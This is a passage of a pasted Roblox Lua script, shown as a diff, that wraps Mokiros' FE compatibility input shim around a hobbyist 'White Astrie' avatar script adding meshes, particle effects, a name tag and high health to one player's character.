SHOW:
|
|
- or go back to the newest paste.
1 | --https://github.com/Mokiros/roblox-FE-compatibility | |
2 | if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end | |
3 | local Player,game,owner = owner,game | |
4 | local RealPlayer = Player | |
5 | do | |
6 | print("FE Compatibility code V2 by Mokiros") | |
7 | local RealPlayer = RealPlayer | |
8 | script.Parent = RealPlayer.Character | |
9 | ||
10 | --Fake event to make stuff like Mouse.KeyDown work | |
11 | local Disconnect_Function = function(this) | |
12 | this[1].Functions[this[2]] = nil | |
13 | end | |
14 | local Disconnect_Metatable = {__index={disconnect=Disconnect_Function,Disconnect=Disconnect_Function}} | |
15 | local FakeEvent_Metatable = {__index={ | |
16 | Connect = function(this,f) | |
17 | local i = tostring(math.random(0,10000)) | |
18 | while this.Functions[i] do | |
19 | i = tostring(math.random(0,10000)) | |
20 | end | |
21 | this.Functions[i] = f | |
22 | return setmetatable({this,i},Disconnect_Metatable) | |
23 | end | |
24 | }} | |
25 | FakeEvent_Metatable.__index.connect = FakeEvent_Metatable.__index.Connect | |
26 | local function fakeEvent() | |
27 | return setmetatable({Functions={}},FakeEvent_Metatable) | |
28 | end | |
29 | ||
30 | --Creating fake input objects with fake variables | |
31 | local FakeMouse = {Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent(),Button2Up=fakeEvent(),Button2Down=fakeEvent()} | |
32 | FakeMouse.keyUp = FakeMouse.KeyUp | |
33 | FakeMouse.keyDown = FakeMouse.KeyDown | |
34 | local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()} | |
35 | local CAS = {Actions={},BindAction=function(self,name,fun,touch,...) | |
36 | CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil | |
37 | end} | |
38 | --Merged 2 functions into one by checking amount of arguments | |
39 | CAS.UnbindAction = CAS.BindAction | |
40 | ||
41 | --This function will trigger the events that have been :Connect()'ed | |
42 | local function TriggerEvent(self,ev,...) | |
43 | for _,f in pairs(self[ev].Functions) do | |
44 | f(...) | |
45 | end | |
46 | end | |
47 | FakeMouse.TriggerEvent = TriggerEvent | |
48 | UIS.TriggerEvent = TriggerEvent | |
49 | ||
50 | --Client communication | |
51 | local Event = Instance.new("RemoteEvent") | |
52 | Event.Name = "UserInput_Event" | |
53 | Event.OnServerEvent:Connect(function(plr,io) | |
54 | if plr~=RealPlayer then return end | |
55 | FakeMouse.Target = io.Target | |
56 | FakeMouse.Hit = io.Hit | |
57 | if not io.isMouse then | |
58 | local b = io.UserInputState == Enum.UserInputState.Begin | |
59 | if io.UserInputType == Enum.UserInputType.MouseButton1 then | |
60 | return FakeMouse:TriggerEvent(b and "Button1Down" or "Button1Up") | |
61 | end | |
62 | if io.UserInputType == Enum.UserInputType.MouseButton2 then | |
63 | return FakeMouse:TriggerEvent(b and "Button2Down" or "Button2Up") | |
64 | end | |
65 | for _,t in pairs(CAS.Actions) do | |
66 | for _,k in pairs(t.Keys) do | |
67 | if k==io.KeyCode then | |
68 | t.Function(t.Name,io.UserInputState,io) | |
69 | end | |
70 | end | |
71 | end | |
72 | FakeMouse:TriggerEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower()) | |
73 | UIS:TriggerEvent(b and "InputBegan" or "InputEnded",io,false) | |
74 | end | |
75 | end) | |
76 | Event.Parent = NLS([==[local Event = script:WaitForChild("UserInput_Event") | |
77 | local Mouse = owner:GetMouse() | |
78 | local UIS = game:GetService("UserInputService") | |
79 | local input = function(io,RobloxHandled) | |
80 | if RobloxHandled then return end | |
81 | --Since InputObject is a client-side instance, we create and pass table instead | |
82 | Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState,Hit=Mouse.Hit,Target=Mouse.Target}) | |
83 | end | |
84 | UIS.InputBegan:Connect(input) | |
85 | UIS.InputEnded:Connect(input) | |
86 | ||
87 | local h,t | |
88 | --Give the server mouse data every second frame, but only if the values changed | |
89 | --If player is not moving their mouse, client won't fire events | |
90 | local HB = game:GetService("RunService").Heartbeat | |
91 | while true do | |
92 | if h~=Mouse.Hit or t~=Mouse.Target then | |
93 | h,t=Mouse.Hit,Mouse.Target | |
94 | Event:FireServer({isMouse=true,Target=t,Hit=h}) | |
95 | end | |
96 | --Wait 2 frames | |
97 | for i=1,2 do | |
98 | HB:Wait() | |
99 | end | |
100 | end]==],script) | |
101 | ||
102 | ----Sandboxed game object that allows the usage of client-side methods and services | |
103 | --Real game object | |
104 | local RealGame = game | |
105 | ||
106 | --Metatable for fake service | |
107 | local FakeService_Metatable = { | |
108 | __index = function(self,k) | |
109 | local s = rawget(self,"_RealService") | |
110 | if s then | |
111 | return typeof(s[k])=="function" | |
112 | and function(_,...)return s[k](s,...)end or s[k] | |
113 | end | |
114 | end, | |
115 | __newindex = function(self,k,v) | |
116 | local s = rawget(self,"_RealService") | |
117 | if s then s[k]=v end | |
118 | end | |
119 | } | |
120 | local function FakeService(t,RealService) | |
121 | t._RealService = typeof(RealService)=="string" and RealGame:GetService(RealService) or RealService | |
122 | return setmetatable(t,FakeService_Metatable) | |
123 | end | |
124 | ||
125 | --Fake game object | |
126 | local FakeGame = { | |
127 | GetService = function(self,s) | |
128 | return rawget(self,s) or RealGame:GetService(s) | |
129 | end, | |
130 | Players = FakeService({ | |
131 | LocalPlayer = FakeService({GetMouse=function(self)return FakeMouse end},Player) | |
132 | },"Players"), | |
133 | UserInputService = FakeService(UIS,"UserInputService"), | |
134 | ContextActionService = FakeService(CAS,"ContextActionService"), | |
135 | RunService = FakeService({ | |
136 | _btrs = {}, | |
137 | RenderStepped = RealGame:GetService("RunService").Heartbeat, | |
138 | BindToRenderStep = function(self,name,_,fun) | |
139 | self._btrs[name] = self.Heartbeat:Connect(fun) | |
140 | end, | |
141 | UnbindFromRenderStep = function(self,name) | |
142 | self._btrs[name]:Disconnect() | |
143 | end, | |
144 | },"RunService") | |
145 | } | |
146 | rawset(FakeGame.Players,"localPlayer",FakeGame.Players.LocalPlayer) | |
147 | FakeGame.service = FakeGame.GetService | |
148 | FakeService(FakeGame,game) | |
149 | --Changing owner to fake player object to support owner:GetMouse() | |
150 | game,owner = FakeGame,FakeGame.Players.LocalPlayer | |
151 | end | |
152 | ---White Astrie, edited by Sla0, Credit to original creator!--- | |
153 | paly = game.Players.ThatProGamerKilledU | |
154 | Player = game:GetService("Players").ThatProGamerKilledU | |
155 | p = game.Players.ThatProGamerKilledU | |
156 | char = paly.Character | |
157 | vt = Vector3.new | |
158 | rarm = char["Right Arm"] | |
159 | hed = char.Head | |
160 | larm = char["Left Arm"] | |
161 | rleg = char["Right Leg"] | |
162 | lleg = char["Left Leg"] | |
163 | local maincolor = BrickColor.random() | |
164 | local effolemode = false | |
165 | local wrathmode = false | |
166 | local noobmode = false | |
167 | local randomname = "???" | |
168 | local randomnamefem = "???" | |
169 | local randomchanger = 6 | |
170 | if paly.Name == "NoobyGames12" then | |
171 | randomchanger = 6 | |
172 | end | |
173 | if randomchanger == 6 then | |
174 | randomnamefem = "Astrie" | |
175 | effolemode = true | |
176 | maincolor = BrickColor.new("White") | |
177 | ||
178 | local torsmesh = Instance.new("CharacterMesh", char) | |
179 | torsmesh.BodyPart = "Torso" | |
180 | torsmesh.MeshId = "48112070" | |
181 | local dec2 = Instance.new("Decal", char) | |
182 | dec2.Face = "Front" | |
183 | dec2.Texture = "rbxassetid://381091841" | |
184 | - | dec2.Parent = RealPlayer.char.Head |
184 | + | dec2.Parent = char.Head |
185 | char.Head.face.Transparency = 1 | |
186 | char.Head.face.Texture = "http://www.roblox.com/asset/?id=0" | |
187 | ||
188 | for i,v in pairs(char:children()) do | |
189 | if v:IsA("Hat") then | |
190 | v:Destroy() | |
191 | end | |
192 | end | |
193 | for i,v in pairs(char:children()) do | |
194 | if v:IsA("Accessory") then | |
195 | v:Destroy() | |
196 | end | |
197 | end | |
198 | for i,v in pairs(char:children()) do | |
199 | if v:IsA("Hair") then | |
200 | v:Destroy() | |
201 | end | |
202 | end | |
203 | for i,v in pairs(char:children()) do | |
204 | if v:IsA("Shirt") then | |
205 | v:Destroy() | |
206 | end | |
207 | end | |
208 | for i,v in pairs(char:children()) do | |
209 | if v:IsA("Pants") then | |
210 | v:Destroy() | |
211 | end | |
212 | end | |
213 | ||
214 | local eye12 = Instance.new("Part") | |
215 | - | eye12.Parent = RealpLayer.char |
215 | + | eye12.Parent = RealPlayer.char |
216 | eye12.Size = Vector3.new(0.2, 0.2, 0.2) | |
217 | eye12.Archivable = true | |
218 | eye12.Transparency = 0 | |
219 | eye12.Shape = "Ball" | |
220 | eye12.BrickColor = maincolor | |
221 | eye12.Material = "Neon" | |
222 | eye12.CanCollide = false | |
223 | local mesh2 = Instance.new("SpecialMesh",eye12) | |
224 | mesh2.MeshType = "Sphere" | |
225 | mesh2.Scale = Vector3.new(0.75, 1, 1) | |
226 | local weld1en2 = Instance.new("Weld") | |
227 | weld1en2.Parent = hed | |
228 | weld1en2.Part0 = hed | |
229 | weld1en2.Part1 = eye12 | |
230 | weld1en2.C1 = CFrame.new(0.115, -0.19, 0.5475) | |
231 | local eye1 = Instance.new("Part") | |
232 | eye1.Parent = RealPlayer.char | |
233 | eye1.Size = Vector3.new(0.2, 0.2, 0.2) | |
234 | eye1.Archivable = true | |
235 | eye1.Transparency = 0 | |
236 | eye1.Shape = "Ball" | |
237 | eye1.BrickColor = maincolor | |
238 | eye1.Material = "Neon" | |
239 | eye1.CanCollide = false | |
240 | local mesh = Instance.new("SpecialMesh",eye1) | |
241 | mesh.MeshType = "Sphere" | |
242 | mesh.Scale = Vector3.new(0.75, 1, 1) | |
243 | local weld1en = Instance.new("Weld") | |
244 | weld1en.Parent = hed | |
245 | weld1en.Part0 = hed | |
246 | weld1en.Part1 = eye1 | |
247 | weld1en.C1 = CFrame.new(-0.115, -0.19, 0.5475) | |
248 | ||
249 | local BC = char["Body Colors"] | |
250 | BC.HeadColor = BrickColor.new("White") | |
251 | BC.LeftArmColor = BrickColor.new("White") | |
252 | BC.LeftLegColor = BrickColor.new("White") | |
253 | BC.RightArmColor = BrickColor.new("White") | |
254 | BC.RightLegColor = BrickColor.new("White") | |
255 | BC.TorsoColor = BrickColor.new("White") | |
256 | ||
257 | ypcall(function() | |
258 | shirt = Instance.new("Shirt", char) | |
259 | shirt.Name = "Shirt" | |
260 | pants = Instance.new("Pants", char) | |
261 | pants.Name = "Pants" | |
262 | char.Shirt.ShirtTemplate = "rbxassetid://211752973" | |
263 | char.Pants.PantsTemplate = "rbxassetid://179059579" | |
264 | end) | |
265 | Reaper2 = Instance.new("Model") | |
266 | Reaper2.Parent = RealPlayer.Character | |
267 | Reaper2.Name = "Reaper2" | |
268 | rh2 = Instance.new("Part") | |
269 | rh2.Parent = Reaper2 | |
270 | rh2.BrickColor = maincolor | |
271 | rh2.Locked = true | |
272 | rh2.CanCollide = false | |
273 | mesh2 = Instance.new("SpecialMesh") | |
274 | rh2.formFactor = "Symmetric" | |
275 | mesh2.MeshType = "FileMesh" | |
276 | mesh2.MeshId = "http://www.roblox.com/asset/?id=167554431" | |
277 | mesh2.Parent = rh2 | |
278 | local weld2 = Instance.new("Weld") | |
279 | weld2.Parent = rh2 | |
280 | rh2.Transparency = 0 | |
281 | weld2.Part0 = rh2 | |
282 | weld2.Part1 = Player.Character.Head | |
283 | weld2.C0 = CFrame.new(-0.05, -0.05, -0.1025)*CFrame.Angles(0, 0, 0) | |
284 | ||
285 | Reaper3 = Instance.new("Model") | |
286 | Reaper3.Parent = RealPlayer.Character | |
287 | Reaper3.Name = "Reaper3" | |
288 | rh3 = Instance.new("Part") | |
289 | rh3.Parent = Reaper3 | |
290 | rh3.BrickColor = BrickColor.new("White") | |
291 | rh3.Locked = true | |
292 | rh3.CanCollide = false | |
293 | mesh3 = Instance.new("SpecialMesh") | |
294 | rh3.formFactor = "Symmetric" | |
295 | mesh3.MeshType = "FileMesh" | |
296 | mesh3.MeshId = "http://www.roblox.com/asset/?id=101176852" | |
297 | mesh3.Parent = rh3 | |
298 | local weld3 = Instance.new("Weld") | |
299 | weld3.Parent = rh3 | |
300 | rh3.Transparency = 0 | |
301 | weld3.Part0 = rh3 | |
302 | weld3.Part1 = Player.Character.Head | |
303 | weld3.C0 = CFrame.new(0, -1.23, 0)*CFrame.Angles(0, 0, 0) | |
304 | ||
305 | local orbe = Instance.new("Part") | |
306 | orbe.Parent = RealPlayer.char | |
307 | orbe.Size = Vector3.new(0.2, 0.2, 0.2) | |
308 | orbe.Archivable = true | |
309 | orbe.Transparency = 1 | |
310 | orbe.BrickColor = maincolor | |
311 | orbe.Material = "Neon" | |
312 | orbe.CanCollide = false | |
313 | local weld1e = Instance.new("Weld") | |
314 | weld1e.Parent = rleg | |
315 | weld1e.Part0 = rleg | |
316 | weld1e.Part1 = orbe | |
317 | weld1e.C1 = CFrame.new(0, 1.125, 0) | |
318 | local pt1e = NumberSequenceKeypoint.new(0,0.85,0) | |
319 | local pt2e = NumberSequenceKeypoint.new(1,0,0) | |
320 | local effectoe = Instance.new("ParticleEmitter",orbe) | |
321 | effectoe.LightEmission = 1 | |
322 | effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
323 | effectoe.Color = ColorSequence.new(maincolor.Color) | |
324 | effectoe.Rate = 10000 | |
325 | effectoe.Lifetime = NumberRange.new(1) | |
326 | effectoe.Size = NumberSequence.new({pt1e,pt2e}) | |
327 | effectoe.Speed = NumberRange.new(0,0) | |
328 | effectoe.RotSpeed = NumberRange.new(100,100) | |
329 | ||
330 | local orbze = Instance.new("Part") | |
331 | orbze.Parent = RealPlayer.char | |
332 | orbze.Size = Vector3.new(0.2, 0.2, 0.2) | |
333 | orbze.Archivable = true | |
334 | orbze.Transparency = 1 | |
335 | orbze.BrickColor = maincolor | |
336 | orbze.Material = "Neon" | |
337 | orbze.CanCollide = false | |
338 | local weldz1 = Instance.new("Weld") | |
339 | weldz1.Parent = lleg | |
340 | weldz1.Part0 = lleg | |
341 | weldz1.Part1 = orbze | |
342 | weldz1.C1 = CFrame.new(0, 1.125, 0) | |
343 | local effectone = Instance.new("ParticleEmitter",orbze) | |
344 | effectone.LightEmission = 1 | |
345 | effectone.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
346 | effectone.Color = ColorSequence.new(maincolor.Color) | |
347 | effectone.Rate = 10000 | |
348 | effectone.Lifetime = NumberRange.new(1) | |
349 | effectone.Size = NumberSequence.new({pt1e,pt2e}) | |
350 | effectone.Speed = NumberRange.new(0,0) | |
351 | effectone.RotSpeed = NumberRange.new(100,100) | |
352 | end | |
353 | ||
354 | if effolemode == true then | |
355 | maincolor = BrickColor.new("White") | |
356 | end | |
357 | ||
358 | local orb = Instance.new("Part") | |
359 | orb.Parent = RealPlayer.char | |
360 | orb.Size = Vector3.new(1, 1, 1) | |
361 | orb.Archivable = true | |
362 | orb.Transparency = 1 | |
363 | orb.BrickColor = BrickColor.new("Bright orange") | |
364 | orb.Material = "Wood" | |
365 | orb.CanCollide = false | |
366 | local weld1 = Instance.new("Weld") | |
367 | weld1.Parent = rarm | |
368 | weld1.Part0 = rarm | |
369 | weld1.Part1 = orb | |
370 | weld1.C1 = CFrame.new(0, 1.125, 0) | |
371 | local pt1 = NumberSequenceKeypoint.new(0,0.475,0) | |
372 | local pt2 = NumberSequenceKeypoint.new(1,0,0) | |
373 | local effecto = Instance.new("ParticleEmitter",orb) | |
374 | effecto.LightEmission = 1 | |
375 | effecto.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
376 | effecto.Color = ColorSequence.new(maincolor.Color) | |
377 | effecto.Rate = 10000 | |
378 | effecto.Lifetime = NumberRange.new(1) | |
379 | effecto.Size = NumberSequence.new({pt1,pt2}) | |
380 | effecto.Speed = NumberRange.new(0,0) | |
381 | effecto.RotSpeed = NumberRange.new(100,100) | |
382 | ||
383 | local orbz = Instance.new("Part") | |
384 | orbz.Parent = RealPlayer.char | |
385 | orbz.Size = Vector3.new(1, 1, 1) | |
386 | orbz.Archivable = true | |
387 | orbz.Transparency = 1 | |
388 | orbz.BrickColor = BrickColor.new("Bright orange") | |
389 | orbz.Material = "Wood" | |
390 | orbz.CanCollide = false | |
391 | local weldz1 = Instance.new("Weld") | |
392 | weldz1.Parent = larm | |
393 | weldz1.Part0 = larm | |
394 | weldz1.Part1 = orbz | |
395 | weldz1.C1 = CFrame.new(0, 1.125, 0) | |
396 | local effecton = Instance.new("ParticleEmitter",orbz) | |
397 | effecton.LightEmission = 1 | |
398 | effecton.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
399 | effecton.Color = ColorSequence.new(maincolor.Color) | |
400 | effecton.Rate = 10000 | |
401 | effecton.Lifetime = NumberRange.new(1) | |
402 | effecton.Size = NumberSequence.new({pt1,pt2}) | |
403 | effecton.Speed = NumberRange.new(0,0) | |
404 | effecton.RotSpeed = NumberRange.new(100,100) | |
405 | ||
406 | ||
407 | p = game.Players.ThatProGamerKilledU | |
408 | char = p.Character | |
409 | torso = char.Torso | |
410 | neck = char.Torso.Neck | |
411 | hum = char.Humanoid | |
412 | hum.MaxHealth = 999999 | |
413 | wait() | |
414 | hum.Health =hum.MaxHealth | |
415 | ||
416 | CV="Hot pink" | |
417 | ||
418 | local txt = Instance.new("BillboardGui", char) | |
419 | txt.Adornee = char .Head | |
420 | txt.Name = "_status" | |
421 | txt.Size = UDim2.new(2, 0, 1.2, 0) | |
422 | txt.StudsOffset = Vector3.new(-9, 8, 0) | |
423 | local text = Instance.new("TextLabel", txt) | |
424 | text.Size = UDim2.new(10, 0, 7, 0) | |
425 | text.FontSize = "Size24" | |
426 | text.TextScaled = true | |
427 | text.TextTransparency = 0 | |
428 | text.BackgroundTransparency = 1 | |
429 | text.TextTransparency = 0 | |
430 | text.TextStrokeTransparency = 0 | |
431 | text.Font = "SciFi" | |
432 | text.TextStrokeColor3 = Color3.new(0,0,0) | |
433 | ||
434 | v=Instance.new("Part") | |
435 | v.Name = "ColorBrick" | |
436 | v.Parent=p.Character | |
437 | v.FormFactor="Symmetric" | |
438 | v.Anchored=true | |
439 | v.CanCollide=false | |
440 | v.BottomSurface="Smooth" | |
441 | v.TopSurface="Smooth" | |
442 | v.Size=Vector3.new(10,5,3) | |
443 | v.Transparency=1 | |
444 | v.CFrame=char.Torso.CFrame | |
445 | v.BrickColor=BrickColor.new(CV) | |
446 | v.Transparency=1 | |
447 | text.TextColor3 = BrickColor.new("White").Color | |
448 | v.Shape="Block" | |
449 | text.Text = "White Astrie" | |
450 | ||
451 | ||
452 | euler = CFrame.fromEulerAnglesXYZ | |
453 | angles = CFrame.Angles | |
454 | local player = "ThatProGamerKilledU" | |
455 | local Character = game.Players[player].Character | |
456 | it = Instance.new | |
457 | vt = Vector3.new | |
458 | bc = BrickColor.new | |
459 | cf = CFrame.new | |
460 | mr = math.rad | |
461 | local Weapon = {} | |
462 | local p = game.Players.ThatProGamerKilledU | |
463 | local char = p.Character | |
464 | local larm = char["Left Arm"] | |
465 | local rarm = char["Right Arm"] | |
466 | local lleg = char["Left Leg"] | |
467 | local rleg = char["Right Leg"] | |
468 | local hed = char.Head | |
469 | local torso = char.Torso | |
470 | local hum = char.Humanoid | |
471 | local cam = game.Workspace.CurrentCamera | |
472 | local root = char.HumanoidRootPart | |
473 | local deb = false | |
474 | local shot = 0 | |
475 | ||
476 | local debris=game:service"Debris" | |
477 | local l = game:GetService("Lighting") | |
478 | local rs = game:GetService("RunService").RenderStepped | |
479 | ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1} | |
480 | math.randomseed(os.time()) | |
481 | for i,v in pairs (hed:GetChildren()) do | |
482 | if v:IsA("Sound") then | |
483 | v:Destroy() | |
484 | end | |
485 | end | |
486 | ---------------------------------------------------- BeastClaw | |
487 | NoOutline = function(Part) | |
488 | Part.TopSurface = 10 | |
489 | end | |
490 | part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size) | |
491 | local fp = it("Part") | |
492 | fp.formFactor = formfactor | |
493 | fp.Parent = parent | |
494 | fp.Reflectance = reflectance | |
495 | fp.Transparency = transparency | |
496 | fp.CanCollide = false | |
497 | fp.Locked = true | |
498 | fp.BrickColor = brickcolor | |
499 | fp.Name = name | |
500 | fp.Size = size | |
501 | NoOutline(fp) | |
502 | fp.Material = "Neon" | |
503 | fp:BreakJoints() | |
504 | return fp | |
505 | end | |
506 | mesh = function(Mesh, part, meshtype, meshid, offset, scale) | |
507 | local mesh = it(Mesh) | |
508 | mesh.Parent = part | |
509 | if Mesh == "SpecialMesh" then | |
510 | mesh.MeshType = meshtype | |
511 | if meshid ~= "nil" then | |
512 | mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid | |
513 | end | |
514 | end | |
515 | mesh.Offset = offset | |
516 | mesh.Scale = scale | |
517 | return mesh | |
518 | end | |
519 | weld = function(parent, part0, part1, c0) | |
520 | local weld = it("Motor6D") | |
521 | weld.Parent = parent | |
522 | weld.Part0 = part0 | |
523 | weld.Part1 = part1 | |
524 | weld.C0 = c0 | |
525 | return weld | |
526 | end | |
527 | gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image) | |
528 | local gui = it(GuiType) | |
529 | gui.Parent = parent | |
530 | gui.BackgroundTransparency = backtrans | |
531 | gui.BackgroundColor3 = backcol | |
532 | gui.SizeConstraint = "RelativeXY" | |
533 | gui.Position = pos | |
534 | gui.Size = size | |
535 | if GuiType == "TextLabel" then | |
536 | gui.Text = text | |
537 | gui.TextXAlignment = "Center" | |
538 | gui.TextYAlignment = "Center" | |
539 | gui.Font = "SourceSans" | |
540 | gui.FontSize = "Size14" | |
541 | gui.TextWrapped = false | |
542 | gui.TextStrokeTransparency = 0 | |
543 | gui.TextColor = TorsoColor | |
544 | else | |
545 | if GuiType == "ImageLabel" then | |
546 | gui.Image = "rbxassetid://" .. image | |
547 | gui.ImageColor3 = backcol | |
548 | end | |
549 | end | |
550 | return gui | |
551 | end | |
552 | local handle = nil | |
553 | AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef) | |
554 | prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt()) | |
555 | prt.Material = neon | |
556 | msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1)) | |
557 | wld = weld(handle, prt, wldpar, ceef) | |
558 | v = it("NumberValue", prt) | |
559 | v.Value = trans | |
560 | v.Name = "MainTransparency" | |
561 | return prt, msh, wld | |
562 | end | |
563 | AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare) | |
564 | prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt()) | |
565 | prt.Material = neon | |
566 | msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1)) | |
567 | wld = weld(wldpare, prt, wldpar, ceef) | |
568 | v = it("NumberValue", prt) | |
569 | v.Value = trans | |
570 | v.Name = "MainTransparency" | |
571 | return prt, msh, wld | |
572 | end | |
573 | local modelzorzez = Instance.new("Model") | |
574 | modelzorzez.Parent = workspace.CurrentCamera | |
575 | modelzorzez.Name = "none" | |
576 | local Torso = Character.Torso | |
577 | local LeftArm = Character["Left Arm"] | |
578 | local RightArm = Character["Right Arm"] | |
579 | local LeftLeg = Character["Left Leg"] | |
580 | local RightLeg = Character["Right Leg"] | |
581 | local Head = Character.Head | |
582 | local RootPart = Character.HumanoidRootPart | |
583 | handle = part(3, modelzorzez, 0, 1, BrickColor.new("White"), "Handle", vt()) | |
584 | local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7)) | |
585 | ||
586 | -- SAHHHH DUUDEEE | |
587 | ||
588 | ||
589 | ||
590 | ||
591 | -- params : ... | |
592 | ||
593 | wait(0.016666666666667) | |
594 | script.Archivable = false | |
595 | Effects = {} | |
596 | local Player = game.Players.ThatProGamerKilledU | |
597 | local Character = Player.Character | |
598 | local Humanoid = Character.Humanoid | |
599 | local m = Instance.new("Model", Character) | |
600 | m.Name = "WeaponModel" | |
601 | local effect = Instance.new("Model", Character) | |
602 | effect.Name = "effecsfsafzx" | |
603 | local demon = Instance.new("Model", Character) | |
604 | demon.Name = "demdemd" | |
605 | local LeftArm = Character["Left Arm"] | |
606 | local RightArm = Character["Right Arm"] | |
607 | local LeftLeg = Character["Left Leg"] | |
608 | local RightLeg = Character["Right Leg"] | |
609 | local do2target = nil | |
610 | local Head = Character.Head | |
611 | local Torso = Character.Torso | |
612 | TorsoColor = BrickColor.new("White") | |
613 | z = Instance.new("Sound", Torso) | |
614 | z.SoundId = "rbxassetid://0" -- 392759567 | |
615 | z.Looped = true | |
616 | z.Pitch = 0 | |
617 | z.Volume = 0 | |
618 | wait(.1) | |
619 | z:Play() | |
620 | local cam = game.Workspace.CurrentCamera | |
621 | local RootPart = Character.HumanoidRootPart | |
622 | local RootJoint = RootPart.RootJoint | |
623 | local equipped = false | |
624 | local attack = false | |
625 | local Anim = "Idle" | |
626 | local idle = 0 | |
627 | local attacktype = 1 | |
628 | local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude | |
629 | local velocity = RootPart.Velocity.y | |
630 | local sine = 0 | |
631 | local change = 1 | |
632 | local mana = 0 | |
633 | local it = Instance.new | |
634 | vt = Vector3.new | |
635 | local grabbed = false | |
636 | local cf = CFrame.new | |
637 | local mr = math.rad | |
638 | local angles = CFrame.Angles | |
639 | local ud = UDim2.new | |
640 | local c3 = Color3.new | |
641 | clerp = function(a, b, t) | |
642 | ||
643 | return a:lerp(b, t) | |
644 | end | |
645 | ||
646 | local RbxUtility = LoadLibrary("RbxUtility") | |
647 | local Create = RbxUtility.Create | |
648 | RemoveOutlines = function(part) | |
649 | ||
650 | part.TopSurface = 10 | |
651 | end | |
652 | ||
653 | CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size) | |
654 | ||
655 | local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material}) | |
656 | RemoveOutlines(Part) | |
657 | return Part | |
658 | end | |
659 | ||
660 | CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale) | |
661 | ||
662 | local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale}) | |
663 | if Mesh == "SpecialMesh" then | |
664 | Msh.MeshType = MeshType | |
665 | Msh.MeshId = MeshId | |
666 | end | |
667 | return Msh | |
668 | end | |
669 | ||
670 | local co1 = 3 | |
671 | local co2 = 10 | |
672 | local co3 = 15 | |
673 | local co4 = 30 | |
674 | local cooldown1 = 0 | |
675 | local cooldown2 = 0 | |
676 | local cooldown3 = 0 | |
677 | local cooldown4 = 0 | |
678 | local maxEnergy = 100 | |
679 | local Energy = 0 | |
680 | local skill1stam = 1000 | |
681 | local skill2stam = 1000 | |
682 | local skill3stam = 1000 | |
683 | local skill4stam = 1000 | |
684 | local recovermana = 5 | |
685 | local skillcolorscheme = BrickColor.new("White").Color | |
686 | local scrn = Instance.new("ScreenGui", Player.PlayerGui) | |
687 | makeframe = function(par, trans, pos, size, color) | |
688 | ||
689 | local frame = Instance.new("Frame", par) | |
690 | frame.BackgroundTransparency = trans | |
691 | frame.BorderSizePixel = 0 | |
692 | frame.Position = pos | |
693 | frame.Size = size | |
694 | frame.BackgroundColor3 = color | |
695 | return frame | |
696 | end | |
697 | ||
698 | makelabel = function(par, text) | |
699 | ||
700 | local label = Instance.new("TextLabel", par) | |
701 | label.BackgroundTransparency = 1 | |
702 | label.Size = UDim2.new(1, 0, 1, 0) | |
703 | label.Position = UDim2.new(0, 0, 0, 0) | |
704 | label.TextColor3 = Color3.new(255, 255, 255) | |
705 | label.TextStrokeTransparency = 0 | |
706 | label.FontSize = Enum.FontSize.Size32 | |
707 | label.Font = Enum.Font.SourceSansLight | |
708 | label.BorderSizePixel = 0 | |
709 | label.TextScaled = true | |
710 | label.Text = text | |
711 | end | |
712 | ||
713 | ArtificialHB = Instance.new("BindableEvent", script) | |
714 | ArtificialHB.Name = "Heartbeat" | |
715 | script:WaitForChild("Heartbeat") | |
716 | frame = 0.033333333333333 | |
717 | tf = 0 | |
718 | allowframeloss = false | |
719 | tossremainder = false | |
720 | lastframe = tick() | |
721 | script.Heartbeat:Fire() | |
722 | game:GetService("RunService").Heartbeat:connect(function(s, p) | |
723 | ||
724 | tf = tf + s | |
725 | if frame <= tf then | |
726 | if allowframeloss then | |
727 | script.Heartbeat:Fire() | |
728 | lastframe = tick() | |
729 | else | |
730 | for i = 1, math.floor(tf / frame) do | |
731 | script.Heartbeat:Fire() | |
732 | end | |
733 | lastframe = tick() | |
734 | end | |
735 | if tossremainder then | |
736 | tf = 0 | |
737 | else | |
738 | tf = tf - frame * math.floor(tf / frame) | |
739 | end | |
740 | end | |
741 | end | |
742 | ) | |
743 | swait = function(num) | |
744 | ||
745 | if num == 0 or num == nil then | |
746 | ArtificialHB.Event:wait() | |
747 | else | |
748 | for i = 0, num do | |
749 | ArtificialHB.Event:wait() | |
750 | end | |
751 | end | |
752 | end | |
753 | ||
754 | CreateWeld = function(Parent, Part0, Part1, C0, C1) | |
755 | ||
756 | local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1}) | |
757 | return Weld | |
758 | end | |
759 | ||
760 | rayCast = function(Position, Direction, Range, Ignore) | |
761 | ||
762 | return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore) | |
